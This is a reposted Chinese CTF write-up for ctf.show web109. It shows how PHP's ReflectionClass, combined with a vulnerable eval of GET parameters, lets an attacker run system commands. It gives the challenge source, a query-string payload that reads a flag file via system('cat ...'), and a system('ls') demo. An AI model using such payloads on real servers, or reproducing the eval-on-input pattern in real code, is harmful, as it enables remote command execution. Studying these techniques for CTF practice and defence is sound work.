首页 / PHP / CTF技巧_Web——PHP特性_使用反射类ReflectionClass执行命令

CTF技巧_Web——PHP特性_使用反射类ReflectionClass执行命令

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了CTF技巧_Web——PHP特性_使用反射类ReflectionClass执行命令，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含1368字，纯文字阅读大概需要2分钟。

内容图文

文章目录

一、简述

ReflectionClass反射类在PHP5新加入，它可以与已定义的类建立映射关系，通过反射类可以对类操作

//定义一个类
class fuc{
static
function methond(){
	echo 'Hello World!';
	}
}
//建立fuc类的反射类
$rc = new ReflectionClass('fuc');
//通过反射类实例化fuc类
$fuc = $rc->newInstance();
//执行类方法
$fuc->method();

反射类不仅仅可以建立对类的映射，也可以建立对PHP基本方法的映射，并且返回基本方法执行的情况。因此可以通过建立反射类new ReflectionClass(system('cmd'))来执行命令

二、PHP源码

题目来源：ctf.show——web入门_web109

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date:   2020-09-16 11:25:09 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-29 22:02:34 

*/ 


highlight_file(__FILE__); 
error_reporting(0); 
if(isset($_GET['v1']) && isset($_GET['v2'])){ 
    $v1 = $_GET['v1']; 
    $v2 = $_GET['v2']; 

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ 
            eval("echo new $v1($v2());"); 
    } 

} 

?>

三、方法及原理

已知了flag在./fl36dg.txt，命令执行system(‘cat fl36dg.txt’)获取flag，这里可以使用反射类new ReflectionClass()

即payload:?v1=ReflectionClass&v2=system('cat fl36dg.txt')

当新建ReflectionClass类并传入PHP代码时，会返回代码的运行结果，可以通过echo显示
即使传入了空的括号，代码依旧可以运行，且error_reporting(0)的存在阻止了报错

<?php
	error_reporting(0);
	echo new ReflectionClass(system('ls')());
?>

>>index.php

内容总结

以上是互联网集市为您收集整理的CTF技巧_Web——PHP特性_使用反射类ReflectionClass执行命令全部内容，希望文章能够帮你解决CTF技巧_Web——PHP特性_使用反射类ReflectionClass执行命令所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端

扫描二维码推送至手机访问。

本文链接：https://qyyshop.com/info/620658.html

来源：【匿名】